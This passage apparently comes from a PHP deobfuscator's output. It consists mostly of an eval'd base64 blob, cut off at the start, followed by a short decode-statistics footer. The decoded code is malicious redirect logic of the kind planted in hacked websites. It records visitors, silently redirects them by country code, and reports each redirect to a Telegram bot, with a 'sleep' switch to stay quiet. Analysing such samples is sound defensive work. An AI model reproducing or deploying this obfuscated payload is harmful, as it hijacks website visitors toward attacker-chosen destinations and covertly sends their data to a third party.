jZVR5cGUpOwogICAgCiAgICB9IGVsc2UgewogICAgICAgIC8vIENvbmRpdGlvbmFsbHkgZXhlY3V0ZSBsb2FkUGFnZUNvbnRlbnQgYmFzZWQgb24gdGhlIHZhbHVlIG9mICRzbGVlcAogICAgICAgIGlmICgkc2xlZXApIHsKICAgICAgICAgICAgJHJlcGx5SUQgPSA2OwogICAgICAgICAgICAkYWN0aW9uID0gJ0ROVCc7CiAgICAgICAgICAgICRtZXNzYWdlIC49ICLwn5KkIENvZGUgaXMgYXNsZWVwIjsKICAgICAgICAgICAgJGRlc3RpbmF0aW9uID0gImNvZGUgaXMgYXNsZWVwIjsKICAgICAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgCiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJlZGlyZWN0VVJMID0gaW5fYXJyYXkoJGNvdW50cnlDb2RlLCAkY291bnRyeVRvUmVkaXJlY3QpID8gJHJlZGlyZWN0VVJMIDogJHNlY29uZFJlZGlyZWN0VVJMOwogICAgICAgICAgICAkY291bnRyeSA9IGluX2FycmF5KCRjb3VudHJ5Q29kZSwgJGNvdW50cnlUb1JlZGlyZWN0KSA/ICRjb3VudHJ5VG9SZWRpcmVjdCA6ICRzZWNvbmRDb3VudHJ5VG9SZWRpcmVjdDsKICAgICAgICAgICAgCiAgICAgICAgICAgICRyZXBseUlEID0gNDsKICAgICAgICAgICAgJGFjdGlvbiA9ICdTRU5UJzsKICAgICAgICAgICAgJG1lc3NhZ2UgLj0gIuKchSBWaXNpdG9yIGZyb20geyRjb3VudHJ5fSBoYXMgYmVlbiByZWRpcmVjdGVkIHRvOiB7JHJlZGlyZWN0VVJMfSI7CiAgICAgICAgICAgIC8vIFNlbmQgbWVzc2FnZSB0byBUZWxlZ3JhbQogICAgICAgICAgICAkZGVzdGluYXRpb24gPSAkcmVkaXJlY3RVUkw7CiAgICAgICAgICAgIHNlbmRNZXNzYWdlVG9UZWxlZ3JhbSgkdGVsZWdyYW1Cb3RUb2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKTsKICAgICAgICAgICAgaW5zZXJ0VmlzaXRvckRhdGEoJGRhdGEsICRhY3Rpb24sICR2aXNpdG9ySG9zdG5hbWUsICRyZWZlcnJlciwgJGRvbWFpbk5hbWVWYXJpYWJsZSwgJGRlc3RpbmF0aW9uLCAkcGFnZSwgJGRldmljZVR5cGUpOwogICAgICAgICAgICAvLyBDYWxsIHRoZSBmdW5jdGlvbiB0byBwZXJmb3JtIHRoZSBzaWxlbnQgcmVkaXJlY3QKICAgICAgICAgICAgcmVkaXJlY3RUb1VybCgkcmVkaXJlY3RVUkwpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gU2VuZCBtZXNzYWdlIHRvIFRlbGVncmFtCiAgICBzZW5kTWVzc2FnZVRvVGVsZWdyYW0oJHRlbGVncmFtQm90VG9rZW4sICRjaGF0SUQsICRtZXNzYWdlLCAkcmVwbHlJRCk7CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIHNlbmQgbWVzc2FnZSB0byBUZWxlZ3JhbSB3aXRoIHRoZSByaWdodCByZXBseSBJRAogICAgZnVuY3Rpb24gc2VuZE1lc3NhZ2VUb1RlbGVncmFtKCR0b2tlbiwgJGNoYXRJRCwgJG1lc3NhZ2UsICRyZXBseUlEKSB7CiAgICAgICAgJHRlbGVncmFtQXBpVXJsID0gImh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3R7JHRva2VufS9zZW5kTWVzc2FnZSI7CiAgICAgICAgJHBhcmFtcyA9IGFycmF5KAogICAgICAgICAgICAnY2hhdF9pZCcgPT4gJGNoYXRJRCwKICAgICAgICAgICAgJ3RleHQnID0+ICRtZXNzYWdlLAogICAgICAgICAgICAncmVwbHlfdG9fbWVzc2FnZV9pZCcgPT4gJHJlcGx5SUQKICAgICAgICApOwogICAgICAgIAogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR0ZWxlZ3JhbUFwaVVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIHRydWUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAkcGFyYW1zKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgIAogICAgICAgICRyZXNwb25zZSA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgIAogICAgICAgIGlmIChjdXJsX2Vycm5vKCRjaCkpIHsKICAgICAgICAgICAgZWNobyAnVGVsZWdyYW0gQVBJIGVycm9yOiAnIC4gY3VybF9lcnJvcigkY2gpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICB9CiAgICAKICAgIC8vIEZ1bmN0aW9uIHRvIHBlcmZvcm0gYSBzaWxlbnQgcmVkaXJlY3QgdG8gdGhlIHNwZWNpZmllZCBVUkwKICAgIGZ1bmN0aW9uIHJlZGlyZWN0VG9VcmwoJHVybCkgewogICAgICAgIC8vIFNlbmQgYSByZWRpcmVjdCBoZWFkZXIgd2l0aG91dCBhbnkgbm90aWZpY2F0aW9uCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogJHVybCIpOwogICAgICAgIC8vIFRlcm1pbmF0ZSB0aGUgc2NyaXB0IGV4ZWN1dGlvbgogICAgICAgIGV4aXQoKTsKICAgIH0KICAgID8+')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 04a0b7f432bbec9c05c368a1c3e41e46 |
Eval Count | 1 |
Decode Time | 69 ms |